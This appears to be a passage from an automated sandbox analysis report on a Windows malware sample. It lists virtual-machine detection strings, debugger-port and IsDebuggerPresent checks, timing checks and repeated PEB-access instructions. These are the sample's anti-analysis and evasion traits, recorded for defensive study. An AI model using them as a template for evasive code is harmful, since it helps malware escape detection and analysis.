          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A4EDC memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A4EDC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000005.00000000.1666578565.00000000098A8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000005.00000002.4093721221.00000000078A0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
          Source: explorer.exe, 00000005.00000002.4095689522.0000000009815000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NECVMWar VMware SATA CD00\w
          Source: explorer.exe, 00000005.00000003.3426649414.00000000079FB000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
          Source: explorer.exe, 00000005.00000000.1666578565.00000000098A8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000005.00000002.4091496578.0000000001240000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
          Source: explorer.exe, 00000005.00000003.3426649414.00000000079FB000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000005.00000000.1666578565.0000000009977000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTTAVMWare
          Source: explorer.exe, 00000005.00000002.4095689522.0000000009815000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
          Source: explorer.exe, 00000005.00000000.1665871823.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1665871823.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000097D4000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 00000005.00000000.1666578565.0000000009977000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 00000005.00000003.3106253540.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4093721221.0000000007A34000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWen-GBnx
          Source: explorer.exe, 00000005.00000002.4091496578.0000000001240000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 00000005.00000000.1665871823.0000000009660000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
          Source: explorer.exe, 00000005.00000002.4091496578.0000000001240000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00409AB0 rdtsc 4_2_00409AB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0040ACF0 LdrLoadDll,4_2_0040ACF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_00890FA2 GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,6_2_00890FA2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov ecx, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov ecx, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov ecx, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov eax, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E10E mov ecx, dword ptr fs:[00000030h]4_2_0123E10E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01250115 mov eax, dword ptr fs:[00000030h]4_2_01250115
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C0124 mov eax, dword ptr fs:[00000030h]4_2_011C0124
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123A118 mov ecx, dword ptr fs:[00000030h]4_2_0123A118
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123A118 mov eax, dword ptr fs:[00000030h]4_2_0123A118
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123A118 mov eax, dword ptr fs:[00000030h]4_2_0123A118
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123A118 mov eax, dword ptr fs:[00000030h]4_2_0123A118
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264164 mov eax, dword ptr fs:[00000030h]4_2_01264164
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264164 mov eax, dword ptr fs:[00000030h]4_2_01264164
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196154 mov eax, dword ptr fs:[00000030h]4_2_01196154
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196154 mov eax, dword ptr fs:[00000030h]4_2_01196154
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118C156 mov eax, dword ptr fs:[00000030h]4_2_0118C156
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01224144 mov eax, dword ptr fs:[00000030h]4_2_01224144
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01224144 mov eax, dword ptr fs:[00000030h]4_2_01224144
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01224144 mov ecx, dword ptr fs:[00000030h]4_2_01224144
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01224144 mov eax, dword ptr fs:[00000030h]4_2_01224144
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01224144 mov eax, dword ptr fs:[00000030h]4_2_01224144
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01228158 mov eax, dword ptr fs:[00000030h]4_2_01228158
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A197 mov eax, dword ptr fs:[00000030h]4_2_0118A197
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A197 mov eax, dword ptr fs:[00000030h]4_2_0118A197
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A197 mov eax, dword ptr fs:[00000030h]4_2_0118A197
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D0185 mov eax, dword ptr fs:[00000030h]4_2_011D0185
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01234180 mov eax, dword ptr fs:[00000030h]4_2_01234180
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01234180 mov eax, dword ptr fs:[00000030h]4_2_01234180
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124C188 mov eax, dword ptr fs:[00000030h]4_2_0124C188
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124C188 mov eax, dword ptr fs:[00000030h]4_2_0124C188
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121019F mov eax, dword ptr fs:[00000030h]4_2_0121019F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121019F mov eax, dword ptr fs:[00000030h]4_2_0121019F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121019F mov eax, dword ptr fs:[00000030h]4_2_0121019F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121019F mov eax, dword ptr fs:[00000030h]4_2_0121019F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012661E5 mov eax, dword ptr fs:[00000030h]4_2_012661E5
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C01F8 mov eax, dword ptr fs:[00000030h]4_2_011C01F8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012561C3 mov eax, dword ptr fs:[00000030h]4_2_012561C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012561C3 mov eax, dword ptr fs:[00000030h]4_2_012561C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E1D0 mov eax, dword ptr fs:[00000030h]4_2_0120E1D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E1D0 mov eax, dword ptr fs:[00000030h]4_2_0120E1D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E1D0 mov ecx, dword ptr fs:[00000030h]4_2_0120E1D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E1D0 mov eax, dword ptr fs:[00000030h]4_2_0120E1D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E1D0 mov eax, dword ptr fs:[00000030h]4_2_0120E1D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE016 mov eax, dword ptr fs:[00000030h]4_2_011AE016
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE016 mov eax, dword ptr fs:[00000030h]4_2_011AE016
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE016 mov eax, dword ptr fs:[00000030h]4_2_011AE016
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE016 mov eax, dword ptr fs:[00000030h]4_2_011AE016
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226030 mov eax, dword ptr fs:[00000030h]4_2_01226030
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01214000 mov ecx, dword ptr fs:[00000030h]4_2_01214000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01232000 mov eax, dword ptr fs:[00000030h]4_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A020 mov eax, dword ptr fs:[00000030h]4_2_0118A020
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118C020 mov eax, dword ptr fs:[00000030h]4_2_0118C020
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01192050 mov eax, dword ptr fs:[00000030h]4_2_01192050
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BC073 mov eax, dword ptr fs:[00000030h]4_2_011BC073
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216050 mov eax, dword ptr fs:[00000030h]4_2_01216050
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012280A8 mov eax, dword ptr fs:[00000030h]4_2_012280A8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119208A mov eax, dword ptr fs:[00000030h]4_2_0119208A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012560B8 mov eax, dword ptr fs:[00000030h]4_2_012560B8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012560B8 mov ecx, dword ptr fs:[00000030h]4_2_012560B8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011880A0 mov eax, dword ptr fs:[00000030h]4_2_011880A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012160E0 mov eax, dword ptr fs:[00000030h]4_2_012160E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118C0F0 mov eax, dword ptr fs:[00000030h]4_2_0118C0F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D20F0 mov ecx, dword ptr fs:[00000030h]4_2_011D20F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011980E9 mov eax, dword ptr fs:[00000030h]4_2_011980E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A0E3 mov ecx, dword ptr fs:[00000030h]4_2_0118A0E3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012120DE mov eax, dword ptr fs:[00000030h]4_2_012120DE
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01268324 mov eax, dword ptr fs:[00000030h]4_2_01268324
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01268324 mov ecx, dword ptr fs:[00000030h]4_2_01268324
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01268324 mov eax, dword ptr fs:[00000030h]4_2_01268324
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01268324 mov eax, dword ptr fs:[00000030h]4_2_01268324
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118C310 mov ecx, dword ptr fs:[00000030h]4_2_0118C310
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B0310 mov ecx, dword ptr fs:[00000030h]4_2_011B0310
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA30B mov eax, dword ptr fs:[00000030h]4_2_011CA30B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA30B mov eax, dword ptr fs:[00000030h]4_2_011CA30B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA30B mov eax, dword ptr fs:[00000030h]4_2_011CA30B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123437C mov eax, dword ptr fs:[00000030h]4_2_0123437C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01212349 mov eax, dword ptr fs:[00000030h]4_2_01212349
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0126634F mov eax, dword ptr fs:[00000030h]4_2_0126634F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01238350 mov ecx, dword ptr fs:[00000030h]4_2_01238350
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125A352 mov eax, dword ptr fs:[00000030h]4_2_0125A352
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov eax, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov eax, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov eax, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov ecx, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov eax, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121035C mov eax, dword ptr fs:[00000030h]4_2_0121035C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188397 mov eax, dword ptr fs:[00000030h]4_2_01188397
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188397 mov eax, dword ptr fs:[00000030h]4_2_01188397
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01188397 mov eax, dword ptr fs:[00000030h]4_2_01188397
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E388 mov eax, dword ptr fs:[00000030h]4_2_0118E388
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E388 mov eax, dword ptr fs:[00000030h]4_2_0118E388
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E388 mov eax, dword ptr fs:[00000030h]4_2_0118E388
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B438F mov eax, dword ptr fs:[00000030h]4_2_011B438F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B438F mov eax, dword ptr fs:[00000030h]4_2_011B438F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A3C0 mov eax, dword ptr fs:[00000030h]4_2_0119A3C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011983C0 mov eax, dword ptr fs:[00000030h]4_2_011983C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011983C0 mov eax, dword ptr fs:[00000030h]4_2_011983C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011983C0 mov eax, dword ptr fs:[00000030h]4_2_011983C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011983C0 mov eax, dword ptr fs:[00000030h]4_2_011983C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012163C0 mov eax, dword ptr fs:[00000030h]4_2_012163C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C63FF mov eax, dword ptr fs:[00000030h]4_2_011C63FF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124C3CD mov eax, dword ptr fs:[00000030h]4_2_0124C3CD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE3F0 mov eax, dword ptr fs:[00000030h]4_2_011AE3F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE3F0 mov eax, dword ptr fs:[00000030h]4_2_011AE3F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE3F0 mov eax, dword ptr fs:[00000030h]4_2_011AE3F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A03E9 mov eax, dword ptr fs:[00000030h]4_2_011A03E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012343D4 mov eax, dword ptr fs:[00000030h]4_2_012343D4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012343D4 mov eax, dword ptr fs:[00000030h]4_2_012343D4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E3DB mov eax, dword ptr fs:[00000030h]4_2_0123E3DB
